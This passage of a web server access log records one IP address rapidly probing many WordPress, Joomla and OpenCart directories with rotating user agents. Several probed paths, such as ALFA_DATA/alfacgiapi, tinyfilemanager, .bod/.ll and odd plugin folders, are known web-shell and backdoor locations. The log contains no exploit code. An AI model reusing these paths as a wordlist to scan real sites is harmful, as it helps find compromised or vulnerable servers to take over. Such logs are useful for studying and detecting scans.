[21/Apr/2026:01:53:13 +0300] "GET /autoload_classmap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:13 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /templates/beez/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-content/plugins/up/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /images/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:53:14 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/plugins/phpadmin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/plugins/view-more/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /blog/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:53:15 +0300] "GET /wp-includes/Requests/src/Exception/Http/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /blog/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /.bod/.ll/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:16 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-content/themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /components/com_newsfeeds/models/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /.trash7309/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:17 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-includes/assets/wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /images/news_event/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /templates/beez5/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:18 +0300] "GET /wp-admin/js/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /upload/bilder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 